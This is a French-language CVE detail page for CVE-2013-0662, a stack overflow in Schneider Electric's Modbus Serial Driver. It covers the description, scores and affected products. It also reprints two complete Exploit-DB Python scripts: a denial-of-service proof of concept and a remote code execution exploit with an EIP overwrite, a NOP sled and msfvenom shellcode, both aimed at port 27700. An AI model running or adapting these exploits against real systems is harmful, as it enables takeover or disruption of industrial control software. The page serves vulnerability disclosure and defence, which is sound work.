CVE-2013-0662 : Détail

CVE-2013-0662

Overflow
64.74%V3
Network
2014-03-28
18h00 +00:00
2018-08-22
07h57 +00:00
CVE.org
NVD
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Descriptions du CVE

Multiple stack-based buffer overflows in ModbusDrv.exe in Schneider Electric Modbus Serial Driver 1.10 through 3.2 allow remote attackers to execute arbitrary code via a large buffer-size value in a Modbus Application Header.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-787 Out-of-bounds Write
The product writes data past the end, or before the beginning, of the intended buffer.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 45219

Date de publication : 2018-08-19 22h00 +00:00
Auteur : Alejandro Parodi
EDB Vérifié : No

# Title: SEIG Modbus 3.4 - Denial of Service (PoC) # Author: Alejandro Parodi # Date: 2018-08-17 # Vendor Homepage: https://www.schneider-electric.com # Software Link: https://github.com/hdbreaker/Ricnar-Exploit-Solutions/tree/master/Medium/CVE-2013-0662-SEIG-Modbus-Driver-v3.34/VERSION%203.4 # Version: v3.4 # Tested on: Windows7 x86 # CVE: CVE-2013-0662 # References: # https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0662 import socket import struct import time ip = "192.168.127.137" port = 27700 con = (ip, port) header_padding = "\x00\xAA" header_buffer_size = "\xFF\xFF" header_recv_len = "\x08\xDD" #(header_buffer_size + 1 en el ultimo byte por que se le resta uno) header_end = "\xFF" header = header_padding + header_buffer_size + header_recv_len + header_end message = "\x00\x64" + "A" * 2267 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(con) s.send(header) s.send(message)
Exploit Database EDB-ID : 45220

Date de publication : 2018-08-19 22h00 +00:00
Auteur : Alejandro Parodi
EDB Vérifié : No

# Title: SEIG Modbus 3.4 - Remote Code Execution # Author: Alejandro Parodi # Date: 2018-08-17 # Vendor Homepage: https://www.schneider-electric.com # Software Link: https://github.com/hdbreaker/Ricnar-Exploit-Solutions/tree/master/Medium/CVE-2013-0662-SEIG-Modbus-Driver-v3.34/VERSION%203.4 # Version: v3.4 # Tested on: Windows XP SP3 # CVE: CVE-2013-0662 # References: # https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0662 import socket import struct ip = "192.168.127.138" port = 27700 con = (ip, port) ####### MESSAGE ########## message_header = "\x00\x64" message_buffer = "A" * 0x5dc eip = struct.pack("<I", 0x7C9C167D) # Shellcode generated with: # msfvenom -a x86 --platform windows -p windows/exec cmd=calc -e x86/xor_call4 -f python # Shellcode Size: 189 bytes nopsleed = "\x90" * 100 # \x90 bad char bypass shellcode = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b" shellcode += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7" shellcode += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf" shellcode += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c" shellcode += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01" shellcode += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31" shellcode += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d" shellcode += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66" shellcode += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0" shellcode += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f" shellcode += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00" shellcode += "\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5" shellcode += "\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a" shellcode += "\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53" shellcode += "\xff\xd5\x63\x61\x6c\x63\x00" message = message_header + message_buffer + eip + nopsleed + shellcode print "Message Len: " + hex(len(message)) + " bytes" ########################## ######## PKG HEADER ###### header_padding = "\x42\x42" header_buf_size = "\xFF\xFF" header_recv_len = struct.pack(">H", len(message)) header_end = "\x44" header = header_padding + header_buf_size + header_recv_len + header_end ########################## ######## CRAFTING PAYLOAD ######## payload = header + message print "Package Len: "+hex(len(payload)) + " bytes" ################################## s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(con) s.send(payload)

Products Mentioned

Configuraton 0

Schneider-electric>>Concept >> Version To (including) 2.6

Schneider-electric>>Modbus_serial_driver >> Version 1.10

Schneider-electric>>Modbus_serial_driver >> Version 2.2

Schneider-electric>>Modbus_serial_driver >> Version 3.2

Schneider-electric>>Modbuscommdtm_sl >> Version To (including) 2.1.2

Schneider-electric>>Opc_factory_server >> Version To (including) 3.5.0

Schneider-electric>>Opc_factory_server >> Version 3.34

Schneider-electric>>Opc_factory_server >> Version 3.35

Schneider-electric>>Pl7 >> Version To (including) 4.5

Schneider-electric>>Powersuite >> Version To (including) 2.6

Schneider-electric>>Sft2841 >> Version To (including) 14.0

Schneider-electric>>Sft2841 >> Version 13.1

Schneider-electric>>Somachine >> Version To (including) 3.1

Schneider-electric>>Somachine >> Version 2.0

Schneider-electric>>Somachine >> Version 3.0

Schneider-electric>>Somove >> Version To (including) 1.7

Schneider-electric>>Twidosuite >> Version To (including) 2.31.04

Schneider-electric>>Unity_pro >> Version To (including) 7.0

Schneider-electric>>Unity_pro >> Version 6.0

Schneider-electric>>Unityloader >> Version To (including) 2.3

Schneider_electric>>Somachine >> Version 3.0

    Références

    https://www.exploit-db.com/exploits/45219/
    Tags : exploit, x_refsource_EXPLOIT-DB
    http://www.securityfocus.com/bid/66500
    Tags : vdb-entry, x_refsource_BID
    https://www.exploit-db.com/exploits/45220/
    Tags : exploit, x_refsource_EXPLOIT-DB